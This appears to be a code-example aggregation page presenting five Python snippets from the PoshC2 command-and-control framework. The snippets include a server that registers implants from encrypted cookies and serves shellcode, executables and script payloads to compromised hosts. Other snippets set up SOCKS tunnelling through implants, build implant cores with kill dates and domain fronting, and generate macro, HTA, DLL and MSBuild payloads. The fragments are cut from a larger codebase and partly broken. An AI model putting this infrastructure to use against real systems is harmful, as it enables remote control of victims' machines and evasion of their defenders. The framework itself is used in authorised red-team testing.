Esempio n. 1
0
def do_sharpsocks(user, command, randomuri):
    check_module_loaded("SharpSocks.ps1", randomuri, user)
    import string
    from random import choice
    allchar = string.ascii_letters
    channel = "".join(choice(allchar) for x in range(25))
    sharpkey = gen_key().decode("utf-8")
    sharpurls = get_sharpurls()
    sharpurl = select_item("PayloadCommsHost", "C2Server")
    sharpport = select_item("PayloadCommsPort", "C2Server")
    dfheader = select_item("DomainFrontHeader", "C2Server")
    implant = get_implantdetails(randomuri)
    pivot = implant[15]
    if pivot != "PS":
        sharpurl = input("Enter the URL for SharpSocks: ")
    if (sharpport != 80 and sharpport != 443):
        if (sharpurl.count("/") >= 3):
            pat = re.compile(r"(?<!/)/(?!/)")
            sharpurl = pat.sub(":%s/" % sharpport, str, 1)
        else:
            sharpurl = ("%s:%s" % (sharpurl, sharpport))

    print(PoshInstallDirectory + "resources/SharpSocks/SharpSocksServerCore -c=%s -k=%s --verbose -l=%s\r\n" % (channel, sharpkey, SocksHost) + Colours.GREEN)
    ri = input("Are you ready to start the SharpSocks in the implant? (Y/n) ")
    if ri.lower() == "n":
        print("")
    if (ri == "") or (ri.lower() == "y"):
        taskcmd = "Sharpsocks -Client -Uri %s -Channel %s -Key %s -URLs %s -Insecure -Beacon 1000" % (sharpurl, channel, sharpkey, sharpurls)
        if dfheader:
            taskcmd += " -DomainFrontURL %s" % dfheader
        new_task(taskcmd, user, randomuri)
        update_label("SharpSocks", randomuri)
Esempio n. 2
0
def do_sharpsocks(user, command, randomuri):
    from random import choice
    allchar = string.ascii_letters
    channel = "".join(choice(allchar) for x in range(25))
    sharpkey = gen_key().decode("utf-8")
    sharpurls = get_sharpurls()
    sharpurls = sharpurls.split(",")
    sharpurl = select_item("PayloadCommsHost", "C2Server")
    print(
        PoshInstallDirectory +
        "resources/SharpSocks/SharpSocksServerCore -c=%s -k=%s --verbose -l=%s\r\n"
        % (channel, sharpkey, SocksHost) + Colours.GREEN)
    ri = input("Are you ready to start the SharpSocks in the implant? (Y/n) ")
    if ri.lower() == "n":
        print("")
    if ri == "":
        new_task(
            "run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken"
            % (sharpurl, channel, sharpkey, sharpurls[0].replace(
                "\"", ""), sharpurls[1].replace("\"", "")), user, randomuri)
    if ri.lower() == "y":
        new_task(
            "run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken"
            % (sharpurl, channel, sharpkey, sharpurls[0].replace(
                "\"", ""), sharpurls[1].replace("\"", "")), user, randomuri)
Esempio n. 3
0
    def __init__(self, ipaddress, pivot, domain, user, hostname, arch, pid,
                 proxy):
        self.RandomURI = randomuri()
        self.Label = None
        self.User = user
        self.Hostname = hostname
        self.IPAddress = ipaddress
        self.Key = gen_key().decode("utf-8")
        self.FirstSeen = (
            datetime.datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
        self.LastSeen = (datetime.datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
        self.PID = pid
        self.Proxy = proxy
        self.Arch = arch
        self.Domain = domain
        self.DomainFrontHeader = get_dfheader()
        self.Alive = "Yes"
        self.UserAgent = get_defaultuseragent()
        self.Sleep = get_defaultbeacon()
        self.ModsLoaded = ""
        self.Jitter = Jitter
        self.ImplantID = ""
        self.Pivot = pivot
        self.KillDate = get_killdate()
        self.ServerURL = select_item("PayloadCommsHost", "C2Server")
        self.AllBeaconURLs = get_otherbeaconurls()
        self.AllBeaconImages = get_images()
        self.SharpCore = """
RANDOMURI19901%s10991IRUMODNAR
URLS10484390243%s34209348401SLRU
KILLDATE1665%s5661ETADLLIK
SLEEP98001%s10089PEELS
JITTER2025%s5202RETTIJ
NEWKEY8839394%s4939388YEKWEN
IMGS19459394%s49395491SGMI""" % (self.RandomURI, self.AllBeaconURLs,
                                 self.KillDate, self.Sleep, self.Jitter,
                                 self.Key, self.AllBeaconImages)
        with open("%spy_dropper.sh" % (PayloadsDirectory), 'rb') as f:
            self.PythonImplant = base64.b64encode(f.read()).decode("utf-8")
        py_implant_core = open(
            "%s/Implant-Core.py" % PayloadTemplatesDirectory, 'r').read()
        self.PythonCore = py_implant_core % (
            self.DomainFrontHeader, self.Sleep, self.AllBeaconImages,
            self.AllBeaconURLs, self.KillDate, self.PythonImplant, self.Jitter,
            self.Key, self.RandomURI, self.UserAgent)
        ps_implant_core = open(
            "%s/Implant-Core.ps1" % PayloadTemplatesDirectory, 'r').read()
        self.PSCore = ps_implant_core % (
            self.Key, self.Jitter, self.Sleep, self.AllBeaconImages,
            self.RandomURI, self.RandomURI, self.KillDate, self.AllBeaconURLs
        )  # Add all db elements def display(self):
Esempio n. 4
0
    def do_GET(self):
        """Respond to a GET request."""
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        new_implant_url = get_newimplanturl()
        self.cookieHeader = self.headers.get('Cookie')
        QuickCommandURI = select_item("QuickCommand", "C2Server")
        UriPath = str(self.path)
        sharpurls = get_sharpurls().split(",")
        sharplist = []
        for i in sharpurls:
            i = i.replace(" ", "")
            i = i.replace("\"", "")
            sharplist.append("/" + i)

        self.server_version = ServerHeader
        self.sys_version = ""
        if not self.cookieHeader:
            self.cookieHeader = "NONE"

        # implant gets a new task
        new_task = newTask(self.path)

        if new_task:
            self.send_response(200)
            self.send_header("Content-type", "text/html")
            self.end_headers()
            self.wfile.write(new_task)

        elif [ele for ele in sharplist if(ele in UriPath)]:
            try:
                open("%swebserver.log" % PoshProjectDirectory, "a").write("%s - [%s] Making GET connection to SharpSocks %s%s\r\n" % (self.address_string(), self.log_date_time_string(), SocksHost, UriPath))
                r = Request("%s%s" % (SocksHost, UriPath), headers={'Accept-Encoding': 'gzip', 'Cookie': '%s' % self.cookieHeader, 'User-Agent': UserAgent})
                res = urlopen(r)
                sharpout = res.read()
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.send_header("Connection", "close")
                self.send_header("Content-Length", len(sharpout))
                self.end_headers()
                if (len(sharpout) > 0):
                    self.wfile.write(sharpout)
            except HTTPError as e:
                self.send_response(e.code)
                self.send_header("Content-type", "text/html")
                self.send_header("Connection", "close")
                self.end_headers()
                open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
                open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks  %s\r\n" % e)
            except Exception as e:
                open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] Error with SharpSocks - is SharpSocks running %s%s \r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
                open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks  %s\r\n" % e)
                print(Colours.RED + "Error with SharpSocks or old implant connection - is SharpSocks running" + Colours.END)
                print(Colours.RED + UriPath + Colours.END)
                self.send_response(404)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(bytes(HTTPResponse, "utf-8"))

        elif ("%s_bs" % QuickCommandURI) in self.path:
            filename = "%spayload.bat" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            self.send_response(200)
            self.send_header("Content-type", "text/html")
            self.end_headers()
            self.wfile.write(content)

        elif ("%s_rg" % QuickCommandURI) in self.path:
            filename = "%srg_sct.xml" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            self.send_response(200)
            self.send_header("Content-type", "text/html")
            self.end_headers()
            self.wfile.write(content)

        elif ("%ss/86/portal" % QuickCommandURI) in self.path:
            filename = "%sSharp_v4_x86_Shellcode.bin" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            content = base64.b64encode(content)
            self.send_response(200)
            self.send_header("Content-type", "text/html")
            self.end_headers()
            self.wfile.write(content)

        elif ("%ss/64/portal" % QuickCommandURI) in self.path:
            filename = "%sSharp_v4_x64_Shellcode.bin" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            content = base64.b64encode(content)
            self.send_response(200)
            self.send_header("Content-type", "text/html")
            self.end_headers()
            self.wfile.write(content)

        elif ("%sp/86/portal" % QuickCommandURI) in self.path:
            filename = "%sPosh_v4_x86_Shellcode.bin" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            content = base64.b64encode(content)
            self.send_response(200)
            self.send_header("Content-type", "text/html")
            self.end_headers()
            self.wfile.write(content)

        elif ("%sp/64/portal" % QuickCommandURI) in self.path:
            filename = "%sPosh_v4_x64_Shellcode.bin" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            content = base64.b64encode(content)
            self.send_response(200)
            self.send_header("Content-type", "text/html")
            self.end_headers()
            self.wfile.write(content)

        elif ("%s_cs" % QuickCommandURI) in self.path:
            filename = "%scs_sct.xml" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            self.send_response(200)
            self.send_header("Content-type", "text/html")
            self.end_headers()
            self.wfile.write(content)

        elif ("%s_py" % QuickCommandURI) in self.path:
            filename = "%saes.py" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
                content = "a" + "".join("{:02x}".format(c) for c in content)
            self.send_response(200)
            self.send_header("Content-type", "text/plain")
            self.end_headers()
            self.wfile.write(bytes(content, "utf-8"))

        elif ("%s_ex86" % QuickCommandURI) in self.path:
            filename = "%sPosh32.exe" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            self.send_response(200)
            self.send_header("Content-type", "application/x-msdownload")
            self.end_headers()
            self.wfile.write(content)

        elif ("%s_ex64" % QuickCommandURI) in self.path:
            filename = "%sPosh64.exe" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            self.send_response(200)
            self.send_header("Content-type", "application/x-msdownload")
            self.end_headers()
            self.wfile.write(content)

        # register new implant
        elif new_implant_url in self.path and self.cookieHeader.startswith("SessionID"):
            implant_type = "PS"
            if self.path == ("%s?p" % new_implant_url):
                implant_type = "PS Proxy"
            if self.path == ("%s?d" % new_implant_url):
                implant_type = "PS Daisy"
            if self.path == ("%s?m" % new_implant_url):
                implant_type = "Python"
            if self.path == ("%s?d?m" % new_implant_url):
                implant_type = "Python Daisy"
            if self.path == ("%s?p?m" % new_implant_url):
                implant_type = "Python Proxy"
            if self.path == ("%s?c" % new_implant_url):
                implant_type = "C#"
            if self.path == ("%s?d?c" % new_implant_url):
                implant_type = "C# Daisy"
            if self.path == ("%s?p?c" % new_implant_url):
                implant_type = "C# Proxy"

            if implant_type.startswith("C#"):
                cookieVal = (self.cookieHeader).replace("SessionID=", "")
                decCookie = decrypt(KEY, cookieVal)
                IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                Domain, User, Hostname, Arch, PID, Proxy = decCookie.split(";")
                Proxy = Proxy.replace("\x00", "")
                if "\\" in User:
                    User = User[User.index("\\") + 1:]
                newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, Proxy)
                newImplant.save()
                newImplant.display()
                newImplant.autoruns()
                responseVal = encrypt(KEY, newImplant.SharpCore)
                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(responseVal)

            elif implant_type.startswith("Python"):
                cookieVal = (self.cookieHeader).replace("SessionID=", "")
                decCookie = decrypt(KEY, cookieVal)
                IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                User, Domain, Hostname, Arch, PID, Proxy = decCookie.split(";")
                Proxy = Proxy.replace("\x00", "")
                newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, Proxy)
                newImplant.save()
                newImplant.display()
                responseVal = encrypt(KEY, newImplant.PythonCore)

                self.send_response(200)
                self.send_header("Content-type", "text/html")
                self.end_headers()
                self.wfile.write(responseVal)
            else:
                try:
                    cookieVal = (self.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY.encode("utf-8"), cookieVal)
                    decCookie = str(decCookie)
                    Domain, User, Hostname, Arch, PID, Proxy = decCookie.split(";")
                    Proxy = Proxy.replace("\x00", "")
                    IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
                    if "\\" in str(User):
                        User = User[str(User).index('\\') + 1:]
                    newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, Proxy)
                    newImplant.save()
                    newImplant.display()
                    newImplant.autoruns()
                    responseVal = encrypt(KEY, newImplant.PSCore)
                    self.send_response(200)
                    self.send_header("Content-type", "text/html")
                    self.end_headers()
                    self.wfile.write(responseVal)
                except Exception as e:
                    print("Decryption error: %s" % e)
                    traceback.print_exc()
                    self.send_response(404)
                    self.send_header("Content-type", "text/html")
                    self.end_headers()
                    self.wfile.write(bytes(HTTPResponse, "utf-8"))
        else:
            self.send_response(404)
            self.send_header("Content-type", "text/html")
            self.end_headers()
            HTTPResponsePage = select_item("HTTPResponse", "C2Server")
            if HTTPResponsePage:
                self.wfile.write(bytes(HTTPResponsePage, "utf-8"))
            else:
                self.wfile.write(bytes(HTTPResponse, "utf-8"))
Esempio n. 5
0
def main(args):
    httpd = ThreadedHTTPServer((BindIP, BindPort), MyHandler)

    try:
        if os.name == 'nt':
            os.system('cls')
        else:
            os.system('clear')
    except Exception:
        print("cls")
    print(chr(27) + "[2J")
    print(Colours.GREEN + logopic)
    print(Colours.END + "")

    if os.path.isfile(Database):
        print(("Using existing project: %s" % PoshProjectDirectory) + Colours.GREEN)
        database_connect()
        C2 = get_c2server_all()
        if ((C2[1] == PayloadCommsHost) and (C2[3] == DomainFrontHeader)):
            qstart = "%squickstart.txt" % (PoshProjectDirectory)
            if os.path.exists(qstart):
                with open(qstart, 'r') as f:
                    print(f.read())
        else:
            print("Error: different IP so regenerating payloads")
            if os.path.exists("%spayloads_old" % PoshProjectDirectory):
                import shutil
                shutil.rmtree("%spayloads_old" % PoshProjectDirectory)
            os.rename(PayloadsDirectory, "%s:_old" % PoshProjectDirectory)
            os.makedirs(PayloadsDirectory)
            C2 = get_c2server_all()
            newPayload = Payloads(C2[5], C2[2], PayloadCommsHost, DomainFrontHeader, C2[8], C2[12],
                                  C2[13], C2[11], "", "", C2[19], C2[20], C2[21], get_newimplanturl(), PayloadsDirectory)
            new_urldetails("updated_host", PayloadCommsHost, C2[3], "", "", "", "")
            update_item("PayloadCommsHost", "C2Server", PayloadCommsHost)
            update_item("QuickCommand", "C2Server", QuickCommand)
            update_item("DomainFrontHeader", "C2Server", DomainFrontHeader)
            newPayload.CreateRaw()
            newPayload.CreateDlls()
            newPayload.CreateShellcode()
            newPayload.CreateSCT()
            newPayload.CreateHTA()
            newPayload.CreateCS()
            newPayload.CreateMacro()
            newPayload.CreateEXE()
            newPayload.CreateMsbuild()
            newPayload.CreatePython()
            newPayload.WriteQuickstart(PoshProjectDirectory + 'quickstart.txt')

    else:
        print("Initializing new project folder and database" + Colours.GREEN)
        print("")
        directory = os.path.dirname(PoshProjectDirectory)
        if not os.path.exists(PoshProjectDirectory): os.makedirs(PoshProjectDirectory)
        if not os.path.exists(DownloadsDirectory): os.makedirs(DownloadsDirectory)
        if not os.path.exists(ReportsDirectory): os.makedirs(ReportsDirectory)
        if not os.path.exists(PayloadsDirectory): os.makedirs(PayloadsDirectory)
        initializedb()
        if not validate_sleep_time(DefaultSleep):
            print(Colours.RED)
            print("Invalid DefaultSleep in config, please specify a time such as 50s, 10m or 1h")
            print(Colours.GREEN)
            sys.exit(1)
        setupserver(PayloadCommsHost, gen_key().decode("utf-8"), DomainFrontHeader, DefaultSleep, KillDate, HTTPResponse, PoshProjectDirectory, PayloadCommsPort, QuickCommand, DownloadURI, "", "", "", Sounds, ClockworkSMS_APIKEY, ClockworkSMS_MobileNumbers, URLS, SocksURLS, Insecure, UserAgent, Referrer, Pushover_APIToken, Pushover_APIUser, EnableNotifications)
        rewriteFile = "%s/rewrite-rules.txt" % directory
        print("Creating Rewrite Rules in: " + rewriteFile)
        print("")
        rewriteHeader = ["RewriteEngine On", "SSLProxyEngine On", "SSLProxyCheckPeerCN Off", "SSLProxyVerify none", "SSLProxyCheckPeerName off", "SSLProxyCheckPeerExpire off", "# Change IPs to point at C2 infrastructure below", "Define PoshC2 10.0.0.1", "Define SharpSocks 10.0.0.1"]
        rewriteFileContents = rewriteHeader + urlConfig.fetchRewriteRules() + urlConfig.fetchSocksRewriteRules()
        with open(rewriteFile, 'w') as outFile:
            for line in rewriteFileContents:
                outFile.write(line)
                outFile.write('\n')
            outFile.close()

        C2 = get_c2server_all()
        newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
                              C2[13], C2[11], "", "", C2[19], C2[20],
                              C2[21], get_newimplanturl(), PayloadsDirectory)

        new_urldetails("default", C2[1], C2[3], "", "", "", "")
        newPayload.CreateRaw()
        newPayload.CreateDlls()
        newPayload.CreateShellcode()
        newPayload.CreateSCT()
        newPayload.CreateHTA()
        newPayload.CreateCS()
        newPayload.CreateMacro()
        newPayload.CreateEXE()
        newPayload.CreateMsbuild()

        create_self_signed_cert(PoshProjectDirectory)
        newPayload.CreatePython()
        newPayload.WriteQuickstart(directory + '/quickstart.txt')

    print("")
    print("CONNECT URL: " + select_item("PayloadCommsHost", "C2Server") + get_newimplanturl() + Colours.GREEN)
    print("WEBSERVER Log: %swebserver.log" % PoshProjectDirectory)
    global KEY
    KEY = get_baseenckey()
    print("")
    print(time.asctime() + " PoshC2 Server Started - %s:%s" % (BindIP, BindPort))
    from datetime import date, datetime
    killdate = datetime.strptime(C2[5], '%d/%m/%Y').date()
    datedifference = number_of_days(date.today(), killdate)
    if datedifference < 8:
        print (Colours.RED+("\nKill Date is - %s - expires in %s days" % (C2[5],datedifference)))
    else:
        print (Colours.GREEN+("\nKill Date is - %s - expires in %s days" % (C2[5],datedifference)))
    print(Colours.END)

    protocol = urlparse(PayloadCommsHost).scheme

    if protocol == 'https':
        if (os.path.isfile("%sposh.crt" % PoshProjectDirectory)) and (os.path.isfile("%sposh.key" % PoshProjectDirectory)):
            try:
                httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="%sposh.key" % PoshProjectDirectory, certfile="%sposh.crt" % PoshProjectDirectory, server_side=True, ssl_version=ssl.PROTOCOL_TLS)
            except Exception:
                httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="%sposh.key" % PoshProjectDirectory, certfile="%sposh.crt" % PoshProjectDirectory, server_side=True, ssl_version=ssl.PROTOCOL_TLSv1)
        else:
            raise ValueError("Cannot find the certificate files")

    c2_message_thread = threading.Thread(target=log_c2_messages, daemon=True)
    c2_message_thread.start()

    try:
        httpd.serve_forever()
    except (KeyboardInterrupt, EOFError):
        httpd.server_close()
        print(time.asctime() + " PoshC2 Server Stopped - %s:%s" % (BindIP, BindPort))
        sys.exit(0)